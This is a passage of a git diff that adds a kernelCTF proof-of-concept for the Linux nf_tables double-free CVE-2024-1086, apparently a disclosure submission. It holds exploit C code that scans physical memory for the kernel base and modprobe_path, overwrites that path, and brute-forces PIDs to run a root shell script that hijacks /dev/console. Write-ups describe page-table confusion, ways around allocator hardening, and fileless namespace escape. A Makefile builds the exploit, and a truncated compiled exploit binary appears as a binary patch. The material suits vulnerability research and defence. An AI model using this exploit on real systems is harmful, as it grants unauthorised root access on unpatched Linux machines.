+ SPINLOCK(memdump_info->mem_status == MEM_STAT_DO_UPDATE);
+
+ // pud area is be overwritten using pmd area, but the TLB has not been flushed, so it is still cached with the old page
+ // this flushed the kernel area of the pud
+ flush_tlb(memdump_info, _pud_area, 0x400000);
+ printf("[*] value for PUD page: %016llx\n", *(unsigned long long*)_pud_area);
+
+ // get physical kernel base based on initial page's bytes
+ // - this "kernel base" is actually the assembly bytecode of start_64() and variants
+ // - it's different per architecture and per compiler (clang produces different signature than gcc)
+ // - this can be derived from the vmlinux file by checking the second segment, which starts likely at binary offset 0x200000
+ // - i.e: xxd ./vmlinux | grep '00200000:'
+
+ // run this script instead of /sbin/modprobe
+ int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
+ int status_fd = memfd_create("", MFD_CLOEXEC);
+
+ for (int kernel_pud_pte_index=0; kernel_pud_pte_index < 512; kernel_pud_pte_index++) {
+ // check for x64-gcc/clang signatures of kernel code segment at rest and at runtime
+ if (is_kernel_base(pud_kernel_area + kernel_pud_pte_index * 0x1000) == 0)
+ continue;
+
+ memdump_info->kernel_addr = kernel_pud_pte_index * CONFIG_PHYSICAL_START;
+ memdump_info->iteration_base = (unsigned long long)memdump_info->kernel_addr;
+ printf("[+] found kernel phys addr: %016llx\n", memdump_info->kernel_addr);
+
+ // scan 0x4000000 bytes from kernel base for modprobe path. if not found, just search for another kernel base
+ for (int i=0; i < 40; i++) {
+ void *pud_modprobe_addr;
+
+ memdump_info->mem_status = MEM_STAT_DO_UPDATE;
+ SPINLOCK(memdump_info->mem_status == MEM_STAT_DO_UPDATE);
+
+ flush_tlb(memdump_info, _pud_area, 0x400000);
+ PRINTF_VERBOSE("[*] scanning string '%s' @ %p in %016llx, pud val: %016llx...\n", modprobe_path, modprobe_path, memdump_info->iteration_base, *(unsigned long long*)pud_data_area);
+ pud_modprobe_addr = memmem(pud_data_area, 0x200000, modprobe_path, KMOD_PATH_LEN);
+
+ memdump_info->iteration_base += 0x200000;
+
+ if (pud_modprobe_addr == NULL)
+ continue;
+
+ printf("[+] found modprobe path: '%s' @ %p (0x%016llx) by matching '%s' @ %p\n", (char*)pud_modprobe_addr, pud_modprobe_addr, memdump_info->iteration_base + (pud_modprobe_addr - pud_data_area), modprobe_path, modprobe_path);
+
+ // ... (privesc using modprobe_path overwrite)
+ }
+
+ printf("[*] failed to locate modprobe. trying to find new kernel base...\n");
+ }
+
+ printf("[!] failed to find kernel code segment... TLB flush fail?\n");
+ memdump_info->exploit_status = EXPLOIT_STAT_FAIL;
+ exit(1);
+ }
+}
+```
+
+### Overwriting `modprobe_path` / namespace escape
+
+In this part of the exploit, we overwrite the `modprobe_path` variable, and trigger it.
+
+We overwrite `modprobe_path` to `/proc//fd/`, which allows us to fileless execute it as root. The content of `privesc_script_fd` will be:
+
+```bash
+#!/bin/sh
+echo -n 1 > /proc/$exploit_pid/fd/$privesc_status_fd
+cat /flag >/dev/console
+/bin/sh 0/dev/console 2>&1
+```
+
+Keep in mind: here we used $ for denoting variables dynamically inserted with `dprintf()`.
+
+The exploit_pid needs to be bruteforced since we need the PID from the root PID namespace for the fd hijack. We can check if we got the right PID by making sure it writes to `privesc_status_fd`, which will be checked for a value in the exploit so it knows when to stop.
+
+```c
+static void privesc_flh_bypass(struct shared_info *memdump_info)
+{
+ // ... (var declarations)
+ int child_pid;
+
+ // ... (setup)
+
+ pin_cpu(0);
+ child_pid = fork();
+
+ if (child_pid == 0) {
+ // PMD write loop (through IPC)
+ } else {
+ // ... (setup PTE)
+
+ // run this script instead of /sbin/modprobe
+ int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
+ int status_fd = memfd_create("", MFD_CLOEXEC);
+
+ for (int kernel_pud_pte_index=0; kernel_pud_pte_index < 512; kernel_pud_pte_index++) {
+ // ... (filter kernel start page)
+
+ for (int i=0; i < 40; i++) {
+ // ... (filter modprobe_path data)
+
+ // ===== NEXT PHASE: privesc using modprobe_path overwrite =====
+
+ printf("[*] modprobe_script_fd: %d, status_fd: %d\n", modprobe_script_fd, status_fd);
+
+ int status_cnt;
+ for (pid_t pid_guess=0; pid_guess < 65536; pid_guess++)
+ {
+ char buf;
+
+ // overwrite the `modprobe_path` kernel variable to "/proc//fd/"
+ // - use /proc//* since container path may differ, may not be accessible, et cetera
+ // - it must be root namespace PIDs, and can't get the root ns pid from within other namespace
+ MEMCPY_HOST_FD_PATH(pud_modprobe_addr, pid_guess, modprobe_script_fd);
+
+ if (pid_guess % 50 == 0)
+ printf("[+] setting new modprobe paths (i.e. '%s' @ %p)... matching modprobe_path scan var: '%s' @ %p\n", (char*)pud_modprobe_addr, pud_modprobe_addr, modprobe_path, modprobe_path);
+
+ lseek(modprobe_script_fd, 0, SEEK_SET); // overwrite previous entry
+ dprintf(modprobe_script_fd, "#!/bin/sh\necho -n 1 > /proc/%u/fd/%u\ncat /flag >/dev/console\n/bin/sh 0/dev/console 2>&1\n", pid_guess, status_fd);
+
+ // when pid is correct, run custom modprobe file as root, by triggering it by executing file with unknown binfmt
+ modprobe_trigger_memfd();
+
+ // indicates success and stops further bruteforcing
+ status_cnt = read(status_fd, &buf, 1);
+ if (status_cnt == 0)
+ continue;
+
+ printf("[+] successfully breached the mainframe\n");
+
+ // prevents kernel crash due to bad pagemap
+ memdump_info->exploit_status = EXPLOIT_STAT_SUCCESS;
+
+ sleep(9999);
+ }
+ }
+
+ printf("[*] failed to locate modprobe. trying to find new kernel base...\n");
+ }
+
+ printf("[!] failed to find kernel code segment... TLB flush fail?\n");
+ memdump_info->exploit_status = EXPLOIT_STAT_FAIL;
+ exit(1);
+ }
+}
+```
\ No newline at end of file
diff --git a/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/img/pagesetup.svg b/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/img/pagesetup.svg
new file mode 100644
index 000000000..753dff09c
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/img/pagesetup.svg
@@ -0,0 +1,3 @@
+
+
+
\ No newline at end of file
diff --git a/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/novel-techniques.md b/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/novel-techniques.md
new file mode 100644
index 000000000..1462fa418
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/novel-techniques.md
@@ -0,0 +1,203 @@
+# novel-techniques
+
+## Bypassing KernelCTF mitigation instance corruption checks for skb's
+
+One of the mitigations in the KernelCTF Mitigation instance is checking the freelist next pointer when allocating an object through a freelist pointer.
+
+In the exploit, the following happens when doing the double-free:
+1. alloc skb1
+2. free skb1 (set new freelist pointer)
+3. modify skb->len (overlapping with freelist next pointer)
+4. free skb1 (set new freelist pointer)
+
+This means upon step 3 the freelist next pointer gets corrupted. `CONFIG_FREELIST_HARDENED` is excluded here for demonstration purposes. When the background applications in the system try to transmit packets, they will inevitably try to allocate the skb object with the corrupted freelist next pointer, causing a system crash.
+
+To bypass this, we leverage the fact that these corruption checks only happen on allocation, not on free. Hence, we can mask the corrupted object by spraying "healthy" objects which can be allocated instead. Hence, it would look like this:
+
+1. alloc N skb objects
+2. alloc skb1
+3. free skb1 (set new freelist pointer)
+4. modify skb->len (overlapping with freelist next pointer)
+5. free N skb objects
+6. free skb1 (set new freelist pointer)
+
+Whilst this is probably not the vulnerability which freelist next pointer corruption detection is intended to mitigate, it would definitively mitigate exploiting this specific scenario.
+
+The fix for this technique would be checking the freelist next pointer of the previous object in the freelist when freeing an object.
+
+
+## Dirty Pagedirectory (pagetable confusion)
+
+Perhaps the most interesting technique in this exploit is Dirty Pagedirectory: plainly put, pagetable confusion between pagetables like PUD+PMD and PMD+PTE.
+
+By overlapping an PUD page and PMD page (PUD+PMD), or an PMD page and a PTE page (PMD+PTE), we can set pagetable entries from userland pages. This allows for a *very* powerful primitive allowing the exploit to do rapid memory read/writes across all physical memory of the system.
+
+> Note: it does **not** make use of recursion, as (in case of PUD+PMD) the PMD is not the child of the overlapped PUD, but is the child of a normal, arbitrary PUD.
+
+Note how PT entries not only include the physical address (PFN), but also the page flags. Hence, we can write to read-only pages like modprobe_path. As if that isn't enough, we can set the target area to 1GiB (PMD+PTE) and/or 512GiB (PUD+PMD) addresses at the same time. Ofcourse, this can be limited to save memory usage and overhead.
+
+In the blogpost, this diagram tries to describe it:
+
+
+
+
+## Freeing skb's instantly on arbitrary CPUs without UDP/TCP stacks
+
+In order to bypass certain double-free detections, we need to free skb's on specific timings on specific CPUs. Additionally, we cannot make use of the UDP and TCP stacks in the kernel, since they access (due to double-free) corrupted fields in the skb.
+
+Fortunately, we can do this with the IPv4 fragment queues (IFQs). By sending an IPv4 fragment to localhost, we make it wait `ipfrag_time` seconds until all fragments are freed. Alternatively, it gets freed when the IFQ is completed (i.e. the target length is reached with the fragments in the IFQ).
+
+If needed, we can prolong the lifetime of the IFQ by writing to `/proc/sys/net/ipv4/ipfrag_time`.
+
+Unfortunately, the target length of the IFQ is depending on skb->len, which is corrupted by the double-free. Hence, we need to do this by triggering an error in the IFQ code, causing it to free all fragments in the queue on the CPU handling the triggering skb.
+
+It looks like this in action with the double-free:
+1. alloc skb1 (double-freed IPv4 fragment) @ CPU `X`
+2. free skb1 (1) @ CPU `X`
+3. make skb1 go into IFQ (utilizing its' content)
+4. do stuff here, like spraying skb's, spraying PTEs, etc
+5. alloc skb2 (errornous IPv4 fragment) @ CPU `Y`
+6. free skb2 @ CPU `Y`
+7. free skb1 @ CPU `Y`
+
+## Fileless privesc using fd hijacking
+
+We can escape the namespace by doing file descriptor hijacking: hooking up the file descriptors of another process (or `/dev/console`) to the `/bin/sh` instance as root triggered by the `modprobe_path` technique.
+
+For example:
+- hijack `/dev/console` (works only on local TTYs): `/bin/sh 0/dev/console 2>&1`
+- hijack exploit fd's (works on reverse shells as well): `/bin/sh 0/fd/0 1>/proc//fd/1 2>&1`
+
+This way we can do fileless privesc and escape the namespace without even writing a single file, allowing for privesc on read-only systems.
+
+## Fileless privesc using modprobe_path + procfs
+
+We can combine overwriting `modprobe_path` with procfs to allow for fileless privesc script execution as root from the root namespace. With this primitive, we can utilize fd hijacking to perform fileless namespace escapes.
+
+We can overwrite `modprobe_path` to `/proc//fd/` and it will execute the privesc script completely from memory, allowing privesc on read-only systems.
+
+## TLB flushing with PCID enabled
+
+One of the things required for Dirty Pagedirectory is a working TLB flushing primitive. Assuming the target VMA is shared, we can fork() and munmap() that VMA in the child. This allows for 100% working TLB flushing regardless of PCID, without altering the original pagetables. I presume the CPU needs to be pinned, to avoid flushing an incorrect CPU core's TLB cache.
+
+The code for this looks like:
+
+```c
+#define SPINLOCK(cmp) while (cmp) { usleep(10 * 1000); }
+
+// presumably needs to be CPU pinned
+static void flush_tlb(void *addr, size_t len)
+{
+ short *status;
+
+ status = mmap(NULL, sizeof(short), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
+
+ *status = FLUSH_STAT_INPROGRESS;
+ if (fork() == 0)
+ {
+ munmap(addr, len);
+ *status = FLUSH_STAT_DONE;
+ sleep(9999);
+ }
+
+ SPINLOCK(*status == FLUSH_STAT_INPROGRESS);
+
+ munmap(status, sizeof(short));
+}
+```
+
+Note that the child sleeps instead of exits, to avoid certain kernel bugs when doing dirty pagedirectory.
+
+## Easing physical KASLR bruteforce
+
+It is possible to ease physical KASLR bruteforcing. The Linux kernel base is aligned to `CONFIG_PHYSICAL_START` (and/or `CONFIG_PHYSICAL_ALIGN`) bytes. This essentially means the Linux kernel must be aligned to 16MiB or 2MiB, reducing the amount of possible base addresses from e.g. 8GiB addresses (assuming 8GiB physical memory) to 512 addresses (a bruteforcable amount).
+
+## Validating the correct modprobe_path
+
+We can validate if we found the correct `modprobe_path` object in physical memory (when using Dirty Pagedirectory), by checking if the output of `/proc/sys/kernel/modprobe` has changed to the new value, since it is a "real-time" reference to the `modprobe_path` object used in the kernel.
+
+For example, this can be done with:
+
+```c
+static int get_modprobe_path(char *buf, size_t buflen)
+{
+ int size;
+
+ size = read_file("/proc/sys/kernel/modprobe", buf, buflen);
+
+ if (size == buflen)
+ printf("[*] ==== read max amount of modprobe_path bytes, perhaps increment KMOD_PATH_LEN? ====\n");
+
+ // remove \x0a
+ buf[size-1] = '\x00';
+
+ return size;
+}
+
+static int strcmp_modprobe_path(char *new_str)
+{
+ char buf[KMOD_PATH_LEN] = { '\x00' };
+
+ get_modprobe_path(buf, KMOD_PATH_LEN);
+
+ return strncmp(new_str, buf, KMOD_PATH_LEN);
+}
+
+void *memmem_modprobe_path(void *haystack_virt, size_t haystack_len, char *modprobe_path_str, size_t modprobe_path_len)
+{
+ void *pmd_modprobe_addr;
+
+ // search 0x200000 bytes (a full PTE at a time) for the modprobe_path signature
+ pmd_modprobe_addr = memmem(haystack_virt, haystack_len, modprobe_path_str, modprobe_path_len);
+ if (pmd_modprobe_addr == NULL)
+ return NULL;
+
+ // check if this is the actual modprobe by overwriting it, and checking /proc/sys/kernel/modprobe
+ strcpy(pmd_modprobe_addr, "/sanitycheck");
+ if (strcmp_modprobe_path("/sanitycheck") != 0)
+ {
+ printf("[-] ^false positive. skipping to next one\n");
+ return NULL;
+ }
+
+ return pmd_modprobe_addr;
+}
+```
+
+## Page refcount juggling
+
+When freeing a page, the Linux kernel checks if the pages' refcount is 0. If it is not, it will refuse to free the page. To bypass this behaviour we simply juggle the refcounts, by utilizing the following order of operations for the double-free:
+
+1. alloc obj1 | refcount 0 -> 1
+2. free obj1 | refcount 1 -> 0
+3. alloc obj2 | refcount 0 -> 1
+4. free obj1 | refcount 1 -> 0
+5. alloc obj3 | refcount 0 -> 1
+
+obj2 and obj3 will now be overlapping (having the same page), because the refcounts were always 0 when freeing.
+
+```c
+void __free_pages(struct page *page, unsigned int order)
+{
+ /* get PageHead before we drop reference */
+ int head = PageHead(page);
+
+ if (put_page_testzero(page))
+ free_the_page(page, order);
+ else if (!head)
+ while (order-- > 0)
+ free_the_page(page + (1 << order), order);
+}
+```
+
+## Double-free order 4 to order 0 (old: race condition)
+
+When double-freeing pages, we can convert the page order to 0 utilizing a race condition with a `WARN()` message on really slow systems (like QEMU VMs with synchronous terminals). In the new exploit, this has been replaced with PCP draining as this works on all systems.
+
+This allows us to double-allocate `order==0` pages whilst having a double-free primitive on `order==4` pages.
+
+## Double-free order X to order Y (new: PCP refill)
+
+When double-freeing pages, we can convert the page order to an arbitrary order by double-freeing pages with `order>=4` such that it will end up in the buddy allocator freelist. Then, we can allocate it to the PCP list of an arbitrary `order<=3` page freelist, by draining said PCP-freelist and refilling it with the pages from the buddy-freelist.
+
+This is the new variant of the race condition-based method.
diff --git a/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/vulnerability.md
new file mode 100644
index 000000000..daf9f3183
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/vulnerability.md
@@ -0,0 +1,47 @@
+# vulnerability
+
+Document containing information about the vulnerability, the requirements, and the affected Linux kernel versions.
+
+## technical details
+
+### outlines
+
+The root cause is an input sanitization bug in `nft_verdict_init()` (`net/netfilter/nf_tables_api.c:9814`), which allowed rule verdicts to return positive drop errors. This is classified as CVE-2024-1086.
+
+The impact of this is a stable double-free primitive on both `struct sk_buff` objects, as well as `sk_buff->head` objects (kmalloc objects, ranging from size 256 to 65536 (assuming ipv4) a.k.a. order 4 buddy pages).
+
+The fix for the vulnerability was simply disallowing all drop errors in `nft_verdict_init()`, as this wouldn't allow userland applications to provide any drop errors anymore. It did not make sense to the kernel developers that userland applications could do this anyways, so hence they fully disabled it.
+
+### triggering the bug
+
+An exploit can create a rule containing an expression which sets the verdict to `0xFFFF0000`.
+
+When this rule gets evaluated for an skb passing the nf_tables firewall, `nf_hook_slow()` attempts to free an skb object because `NF_DROP` is returned from the verdict mask of the rule verdict (`0xFFFF0000 (verdict) & 0x000000ff (NF_VERDICT_MASK) == 0 (NF_DROP)`). Then, `nf_hook_slow()` returns `NF_ACCEPT` (`NF_DROP_GETERR(0xFFFF0000) == NF_ACCEPT`) as if every hook/rule in the chain returned `NF_ACCEPT`.
+
+This causes the caller of `nf_hook_slow()` to misinterpret the situation (it believes the packet has not been freed, and should be handled), and continue parsing the packet and eventually double-free both the skb object and its skb->head object.
+
+## requirements
+
+Capabilities:
+- `CAP_NET_ADMIN`
+
+Kernel configuration:
+- `CONFIG_NF_TABLES=y`
+- `CONFIG_NETFILTER=y`
+
+User namespaces needed:
+- Yes, in order to setup rules for nf_tables to trigger the bug (`CAP_NET_ADMIN` in the current namespace should also be enough)
+
+## version info
+
+Commit which introduced the vuln:
+- https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e0abdadcc6e113ed2e22c85b35007
+
+Commit which fixed the vuln (revert of previous commit):
+- https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f342de4e2f33e0e39165d8639387aa6c19dff660
+
+Affected kernel versions:
+- everything between `v3.5` and `v6.8-rc1`
+- excluding `v6.1.76` and higher on `v6.1.x`
+- excluding `v6.6.15` and higher on `v6.6.x`
+- excluding `v6.7.3` and higher on `v6.7.x`
\ No newline at end of file
diff --git a/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/Makefile b/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/Makefile
new file mode 100644
index 000000000..a1830729d
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/Makefile
@@ -0,0 +1,42 @@
+SRC_FILES := src/exploit.c src/env.c src/net.c src/nftnl.c src/file.c
+OUT_NAME = ./exploit
+
+# use musl-gcc since statically linking glibc with gcc generated invalid opcodes for qemu
+# and dynamically linking raised glibc ABI versioning errors
+CC = musl-gcc
+
+CFLAGS = -I./include -Wall -Wno-deprecated-declarations
+
+# use custom object archives compiled with musl-gcc for compatibility. normal ones
+# are used with gcc and have _chk funcs which musl doesn't support
+# - ./include/libmnl: libmnl v1.0.5
+# - ./include/libnftnl: libnftnl v1.2.6
+LIBMNL_PATH = ./lib/libmnl.a
+LIBNFTNL_PATH = ./lib/libnftnl.a
+
+exploit: _compile_static _strip_bin
+prerequisites: _install_musl _install_headers
+run: _run_outfile
+clean: _clean_outfile
+
+_install_headers:
+ sudo apt-get install libmnl-dev libnftnl-dev
+
+ # incredibly cursed way to manage musl-gcc include paths (by doing -I/usr/include I got errors like not being found)
+ mkdir include
+ ln -s /usr/include/libnftnl ./include/libnftnl
+ ln -s /usr/include/libmnl ./include/libmnl
+ ln -s /usr/include/linux ./include/linux
+ ln -s /usr/include/x86_64-linux-gnu/asm ./include/asm
+ ln -s /usr/include/asm-generic ./include/asm-generic
+
+_install_musl:
+ sudo apt-get install musl-tools
+_compile_static:
+ $(CC) $(CFLAGS) $(SRC_FILES) -o $(OUT_NAME) -static $(LIBNFTNL_PATH) $(LIBMNL_PATH)
+_strip_bin:
+ strip $(OUT_NAME)
+_run_outfile:
+ $(OUT_NAME)
+_clean_outfile:
+ rm $(OUT_NAME)
\ No newline at end of file
diff --git a/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/exploit b/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/exploit
new file mode 100755
index 0000000000000000000000000000000000000000..0ea02ff02a6bed97fb317a4c5c05d104a8cf87bd
GIT binary patch
literal 821952
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
